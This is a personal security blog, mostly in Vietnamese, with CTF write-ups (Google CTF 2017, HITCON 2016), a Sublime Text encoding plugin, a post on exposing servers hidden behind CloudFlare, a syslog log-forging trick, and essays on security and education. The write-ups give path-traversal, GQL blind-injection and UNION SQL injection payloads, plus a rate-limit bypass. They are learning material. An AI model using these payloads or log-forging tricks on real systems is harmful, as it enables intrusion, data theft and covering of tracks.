Thứ Sáu, 9 tháng 11, 2018

Plugin xử lý chuỗi cho Sublime Text

Khi làm việc với dữ liệu văn bản hoặc mã nguồn, Sublime Text là công cụ yêu thích nhất của tôi. Do đặc thù công việc thường gặp các dạng Encoding như Base64/Hexa/URL, thông thường phải sao chép qua Terminal để xử lý nhanh bằng Python, tốn khá nhiều thao tác, nên tôi có tìm hiểu để viết Plugin xử lý trực tiếp các dạng Encoding này trực tiếp trên SublimeText. Bạn đọc có thể sử dụng nếu thấy phù hợp.

Plugin này rất đơn giản, sau khi chọn đoạn Text cần xử lý, right-click ta sẽ có một danh sách các chức năng:
- Base64 Encode/Decode
- Hex Encode/Decode
- URL Encode/Decode
- MD5/SHA1



Về mã nguồn và cách cài đặt bạn đọc có thể tham khảo trên Github của tôi: https://github.com/doantranhoang/sublime-secutils


Do chỉ phục vụ cho nhu cầu công việc nên Plugin chỉ dừng ở mức độ sử dụng được, có thể sẽ xảy ra một số Exception. Ở một bài viết khác tôi có trình bày chi tiết hơn cách viết Plugin này tại đây, nếu ai quan có thể tham khảo để biết cách hoạt động của một SublimeText Plugin, và phát triển các Plugin cho riêng mình.

Thứ Hai, 26 tháng 6, 2017

Google CTF 2017 - Notes

Cuối tuần rồi hóng Google CTF 2017 rồi note lại, giờ mới rảnh để post, too late =]]


MindReader


Truy cập vào https://mindreader.web.ctfcompetition.com/

mindreader_desc.png

Cần nhập cái gì đó để đọc dữ liệu, theo quán tính cứ /ect/passwd mà gõ :D

Có vẻ là kiểu Challenge truyền thống, bug cho phép đọc source-code, trong source-code sẽ chứa thông tin về nơi dấu FLAG. Cảm nhận cá nhân, hầu hết Challenge của Google mình thấy đều dùng Google App Engine + Python, nên cứ gõ tiếp :3

mindreader_main.py.png

Source-code đọc dô là hiểu liền, challenge này xếp vào loại Easy quả nhiên có lý do :3
  • FLAG dấu trong biến môi trường
  • Blacklist hết các input có chứa 'proc|random|zero|stdout|stderr'
Theo mình biết có thể đọc được biến môi trường của process tại /proc/self/environ, mà "proc" đã bị blacklist. Trí nhớ mách bảo trong /dev có một mớ symlink có liên quan tới proc :D

mindreader_proc_symlink.png
Nhìn qua thử thì có thằng /dev/fd -> /proc/self/fd thỏa điều kiện vừa là folder để traversal lên /proc/self/, vừa không nằm trong blacklist
mindreader_flag.png

Ghi bàn :3

mindreader_submit.png


A7 ~ Gee cue elle


p/s: Challenge này mình chỉ tìm ra hướng giải nhưng lúc đó chưa có thời gian hiện thực :(

a7_Gee_cue_elle_desc.png

Thú thật không suy diễn được gì từ Challenge Name =]]

Tập tin start.html có nội dung ngắn gọn như sau:
<script>
location.replace('http://'+parseInt(Math.random()*1e15)+'-abuse.web.ctfcompetition.com/login');
</script>
Đoạn mã trên đơn giản sẽ chuyển hướng Browsers đến một random URL
http://[random_number]-abuse.web.ctfcompetition.com/login
Server sẽ return về một URL có cấu trúc
http://qu0t45 + base64(random_12_bytes) + www-abuse.gctf2017.lab/login
Lúc mình xem Challenge là đã thấy Hint .yaml~

Ý đồ của Hint chắc là Challenge được code bằng mấy Editor như nano, vi,… sẽ tự động có các tập tin backup có tên kết thúc với dấu ‘~’

Thử kiểm tra phát ra source luôn
A7_Gee_cue_elle app.yaml

Nhìn đoạn
- url: /login
 script: main.app
--> Code của /login sẽ là main.py

A7_Gee_cue_elle_mainpy.png

Full source tại https://lab.infosec.xyz/assets/main.py

Theo source-code thì FLAG FORMAT là
      flag = "CTF{%s-%s}" % (
          hostname, base64.b64encode(hmac.new(
              self.key, hostname, hashlib.sha512
          ).digest()[:(6*FLAG_LENGTH/8)], "-_"))
Túm váy lại thì FLAG = CTF{qu0t453lzcgiej7s1v5qeywww-XXXXBase64}

Với 'qu0t453lzcgiej7s1v5qeywww-' là subdomain_prefix có yếu tố random nên không cần quan tâm đến, chỉ cần tìm đoạn XXXXBase64 là ra FLAG

Kiểm tra login từ dữ liệu POST lên được xử lý bởi
  def post(self):
    sql = "SELECT password FROM UserModel WHERE ANCESTOR IS :1 AND user = 'admin'"
    query = ndb.gql(sql % self.request.get("user"), self.quota.key)
    result = query.fetch(1)
    if not result:
      self.redirect("/index.html?e=%s" % urllib.quote("Wrong username"))
    elif result[0].password != self.request.get("password"):
      raise Exception("Wrong password")
    else:
      self.response.write(self.request.get("password"))
Nhận xét:
  • FLAG cũng chính là Password của 'admin'
  • Blind Injection trong câu truy vấn GQL
"SELECT password FROM UserModel WHERE ANCESTOR IS :1 AND user = '%s'"
Buồn thay đây là GQL, bộ cú pháp rất ư là ngắn gọn súc tích, không quyến rũ như SQL, như thiếu %LIKE%, không thể lấy SUBSTR,không cho phép so sánh = hoặc != đối với các column đã được SELECT

May mắn thay vẫn có thể sử dụng >, <, >=, <= thay thế khi so sánh String (Ref: https://stackoverflow.com/questions/47786/google-app-engine-is-it-possible-to-do-a-gql-like-query)

Nên có thể Blind Injection đoạn XXXXBase64 tương tự Blind SQLi:
"SELECT password FROM UserModel WHERE ANCESTOR IS :1 AND user = 'admin' AND 'password' > ‘CTF{qu0t453lzcgiej7s1v5qeywww-Đoán_từng_ký_tự_Base64]}’"
Điều kiện kiểm tra:
  • Password Đúng: Response chứa ‘Wrong Password’
  • Password Sai: Response chứa ‘Wrong Username’
Ví dụ:
POST[Username] = admin' AND 'password' >= ‘CTF{qu0t453lzcgiej7s1v5qeywww-Z]}’" ==> Wrong Password --> True
POST[Username] = admin' AND 'password' >= ‘CTF{qu0t453lzcgiej7s1v5qeywww-Za]}’" --> Wrong Username --> False
POST[Username] = admin' AND 'password' >= ‘CTF{qu0t453lzcgiej7s1v5qeywww-Zb]}’" --> Wrong Username --> False
POST[Username] = admin' AND 'password' >= ‘CTF{qu0t453lzcgiej7s1v5qeywww-Zc]}’" --> Wrong Password --> True
Khi Blind Injection có thể bị block vì quá Quota, rate requests quá 13 req / 90 seconds / subdomain_prefix (nhìn lướt qua hình như là vậy :sexy:). Vì Quota sử dụng (subdomain_prefix + random(12_bytes)) để làm key cho bộ đếm, ta có thể bypass Quota này bằng cách random URL theo đúng định dạng như sau trong lúc Auto Blind Inject:
https://qu0t45%swww-%s/login" %
                    (base64.b64encode(os.urandom(6 * 16 / 8), "__"),
                     "abuse.web.ctfcompetition.com"))
=========

Chưa ra FLAG nhưng End Game CTF ở đây, tiếp tục sấp mặt với mớ công việc dồn ứ cuối tuần =((. Dù sao thì mỗi lần giải được một CTF Challenge thì cảm giác vẫn lâng lâng như ngày nào ^^

Thứ Năm, 16 tháng 3, 2017

Find Real IP address of Backend Server behind CloudFlare





Project CrimeFlare is a large database collecting sensitive data with client using CloudFlare as a reverse proxy. One of the most important info is Real-IP of backend server behind CloudFlare.

Many clients (System Administrators) think they are hided, protected by behind CloudFlare and hackers cannot know their backend servers to attack, so they ignore many of the best pratices for protecting their backend server.

More info about this CrimeFlare here http://www.crimeflare.com

Get the Real-IP of backend server here http://www.crimeflare.com/cfs.html

I tried to verify with many websites and CrimeFlare work like a charm, for example with haveibeenpwned.com (https://www.cloudflare.com/case-studies/troy-hunt/)

You can do some basic checks to make sure (maybe) they're using CF




Verify this IP


This is exactly IP of haveibeenpwned.com

Thứ Hai, 10 tháng 10, 2016

HitCon 2016 ctf - are you rich 50

A long period of time without practicing SQL Injection manually :3

When I look at the easiest challenge "Are you rich 50" at HITCON 2016, just play with this url ./are/you_rich/verify.php?address=....


Yeah, basic case of SQL Injection :D

by using 'UNION SELECT', i know the table has 1 column.

address=' UNION SELECT database() limit 1 -- -&flag_id=flag1&submit=
 
=> DB Name: areyourich

address=' UNION SELECT table_name FROM INFORMATION_SCHEMA.tables WHERE table_schema='areyourich' LIMIT 1 -- -&flag_id=flag1&submit=

=> Table Name: flag1

address=' UNION SELECT column_name FROM INFORMATION_SCHEMA.columns WHERE table_name='flag1' limit 1 -- -&flag_id=flag1&submit=

=> Column Name: flag

address=' UNION SELECT flag FROM flag1 LIMIT 1 -- -&flag_id=flag1&submit=
 

=> Flag: hitcon{4r3_y0u_r1ch?ju57_buy_7h3_fl4g!!

Just enjoy this morning when I wake up early today ^^

Thứ Sáu, 30 tháng 9, 2016

Play with logger

I found something interesting today. When working with Apache I notice that you cannot have multiple ErrorLog directives for writing error logs into multiple destination (CustomLog allow this).
For instance:
ErrorLog /path/file1.log
ErrorLog /path/file2.log
ErrorLog /path/file3.log
In the above config, only third ErrorLog directive working, this mean error logs only write to /path/file3.log
But in many cases you would like to store logs in different locations on system (for instance centre logging with Syslog). Some articles I found on the internet show us the way to got this is pipe logs to a program, something like this:
ErrorLog  "|$ /usr/bin/tee -a /var/log/httpd/example.com-error_log | /usr/bin/logger -t httpd-error -p local1.error"
This tell Apache pipe output logs into:
(1) /usr/bin/tee append to a file
(2) /usr/bin/logger send to Syslog
Look at (2), by default logger split input messages into segments with 1KB of length (1024 characters) (http://man7.org/linux/man-pages/man1/logger.1.html), for instance with the following message:
[Fri Sep 30 09:56:02 2016] [error] [client 192.69.69.69] aaaa.......aaaaaa
with length = 1100 characters, where “aaa….aaa” is some user input within client request, you will get 2 lines forward to syslog by logger
[Fri Sep 30 09:56:02 2016] [error] [client 192.69.69.69] aaaa.......aaaaaa
aaaa.......aaaaaa
the first line has length = 1024, the second line is (1100 – 1024) = 76
Think about this, when you can control “aaaa…..aaaa” and change to something like below (length = 4096 - length of string ([Fri Sep 30 09:56:02 2016] [error] [client 192.69.69.69]))
aaaa.......aaaaaa[Fri Sep 30 09:56:02 2016] [error] [client 192.69.69.69] bbbb.......bbbbbb[Fri Sep 30 09:56:02 2016] [error] [client 192.69.69.69] cccc.......cccccc[Fri Sep 30 09:56:02 2016] [error] [client 192.69.69.69] dddd.......dddddd
This message will be splitted into 4 logs by /usr/bin/logger and Syslog just think we have 4 logs :D
[Fri Sep 30 09:56:02 2016] [error] [client 192.69.69.69] aaaa.......aaaaaa
[Fri Sep 30 09:56:02 2016] [error] [client 11.223.31.14] bbbb.......bbbbbb
[Fri Sep 30 09:56:02 2016] [error] [client 92.69.169.16] cccc.......cccccc
[Fri Sep 30 09:56:02 2016] [error] [client 122.69.54.59] dddd.......dddddd
In some situations, an attacker can abuse this to generate enough noise to make the Log Analysis Systems hard to detect the real hacking attack vector, covering tracks.

Thứ Ba, 26 tháng 7, 2016

Cưỡi ngựa xem hoa

Vừa xem xong một chủ đề đang gây tranh cãi trên diễn đàn Tinh Tế có tiêu đề "Thử nghiệm bảo mật của web và ứng dụng của một số ngân hàng tại VN".

Chủ đề gây tranh cãi vì 2 yếu tố:
(1) Nội dung chỉ đề cập đến kiểm tra cấu hình SSL/TLS của các dịch vụ Banking trên nền tảng website và mobile nhưng tiêu đề là "Thử nghiệm bảo mật của web và ứng dụng.....".
(2) Tác giả đưa ra kết luận dịch vụ của Bank nào an toàn hơn Bank nào chỉ dựa vào (1).

Tôi tin rằng có rất nhiều anh em trong giới InfoSec đã xem qua bài viết và chỉ cười trừ cho qua, cũng có một số anh em muốn bảo vệ lẽ phải bằng cách chỉ ra những sai xót của bài viết vì đây là một diễn đàn lớn, những thông tin chủ quan sẽ tạo thành rất nhiều hệ quả không tốt. Kiểu như trước đây vài tờ báo to thông tin cá biển miền Trung chết hàng loạt là do Thủy Triều Đỏ, đây là điều không thể chấp nhận được nếu bạn là Fan hâm mộ của ban nhạc Thủy Triều Đỏ. Còn tôi thì chỉ nằm vùng rồi lên đây chém gió tự kỉ. :3

Thôi quay lại chủ đề, nhìn nhiều bình luận đầu trong bài viết đủ thấy đối với người dùng các sản phẩm dịch vụ thì An Toàn Thông Tin (ATTT) là thứ họ rất quan tâm nhưng rất khó để họ hình dung cụ thể được, họ sẽ đặt niềm tin vào một bên thứ ba (hoặc thứ N) để đánh giá. Người dùng cảm thấy mình đang an toàn hay không phần lớn dựa vào đánh giá này chứ không phải tình trạng thật sự của sản phẩm dịch vụ. Lấy ví dụ ngoài lề như theo một số khảo sát từ trên trời rơi xuống hằng năm thì Việt Nam luôn nằm trong Top các quốc gia hạnh phúc nhất thế giới vậy, ..... cạn lời.

Để đánh giá được ATTT của một sản phẩm dịch vụ hay một hệ thống, cần có những chuyên gia lành nghề, những chuyên gia này không những có hiểu biết về ATTT mà cần phải làm trong lĩnh vực ATTT để có một cái nhìn đủ rộng và sâu để đưa ra kết luận. Lại lấy một ví dụ đơn giản nữa cho dễ hiểu, tôi có một Server chạy Linux, đặt password cho root là "lolz_blah_blah....", tôi in password này ra giấy dán tại bàn làm việc. Quá ư là lỗ liễu nhưng ai muốn nhìn thì cứ vô tư, còn remote login được hay không lại là một chuyện khác vì tôi có thể hạn chế login theo IP, xác thực 2 nhân tố,... À đây chỉ là ví dụ để bạn thấy rằng đánh giá ATTT cần phải xuất phát từ góc nhìn của người làm ATTT để thấy được nhiều góc độ thôi chứ tôi không khuyến khích chơi lầy kiểu này có ngày banh xác :)) Infomation Security là một khái niệm rất trừu tượng, từ lý thuyết đến thực tiễn lại càng "tăng độ khó cho game", so với những gì tôi học và bị học tới giờ thì độ trừu tượng của nó chỉ đứng sau Những nguyên lý cơ bản của chủ nghĩa XYZ.

Kết luận: ATTT đang rất "hot", nhà nhà, trường trường, lớp lớp đều đang nói về ATTT và truyền thông cũng không nằm ngoài cuộc :P

Thứ Tư, 20 tháng 7, 2016

Giáo dục tiểu học


Hôm nay tôi đọc được một bài viết hay từ giáo sư John Vu, xin được trích một đoạn kết mà tôi đồng quan điểm

Trường tiểu học phải là chỗ chúng ta dạy con trẻ về trung thực, về đạo làm con với bố mẹ, về trách nhiệm với gia đình, với xã hội, với đất nước của chúng ta. Trường tiểu học phải là nơi con trẻ học nói sự thực, lòng kính trọng, tính trung thực, và kỷ luật tự giác. Trường tiểu học phải là nơi con trẻ học về văn hoá, về di sản tinh thần của chúng. Con trẻ phải được giáo dục về về lịch sử, về tổ tiên, về những anh hùng của thế hệ quá khứ để chúng biết rõ công trình của tiền nhân đã xây dựng đất nước quê hương, đã tốn bao xương máu để bảo về bờ cõi cho đến ngày nay.
Có nhiều điều con trẻ phải học để cho chúng có thể xây dựng nền tảng vững chắc và thành người có trách nhiệm. Chỉ với tính cách đạo đức vững vàng, con trẻ biết phân biệt điều phải với điều trái. Chỉ với tính cách đạo đức vững vàng, thí dù sau này chúng có giữ địa vị nào đó, chúng vẫn có khả năng duy trì sự thanh liêm, chính trực của chúng. Chỉ với tính cách đạo đức vững vàng, ngay cả khi chúng đối diện với khó khăn, chúng sẽ biết dũng cảm, phấn đấu và không bỏ cuộc. Chỉ với tính cách đạo đức vững vàng chúng sẽ không bị cám dỗ bởi những lời ích cá nhân và đánh mất tự trọng và lòng thanh liêm chính trực của chúng.
Là giáo sư dạy công nghệ, tôi chưa bao giờ lo rằng có quá trễ để trẻ con học công nghệ hay lập trình. Công nghệ sẽ thay đổi, lập trình sẽ thay đổi, khoa học sẽ thay đổi. Tuy nhiên tôi lo rằng bằng việc vội vàng dạy con trẻ công nghệ quá sớm, quá nhanh, hay vội vàng đi theo xu hướng nào đó nhưng quên cho chúng giáo dục về cách làm người, cách ăn ở cho phải đạo, và cách phát triển nhân cách để làm một người con hiếu, người học trò ngoan, và công dân tốt thì chúng ta đang làm mất đi cơ hội phát triển những người công dân có trách nhiệm cho đất nước chúng ta.

Giáo dục và tư duy ở đất nước này hiện vẫn còn đang hỗn loạn, sẽ cần một thời gian rất rất dài nữa để định hình nên một nền giáo dục đúng nghĩa ở mọi cấp bậc.

"Education is something that is done to you. Learning is something you do for yourself." - Joi Ito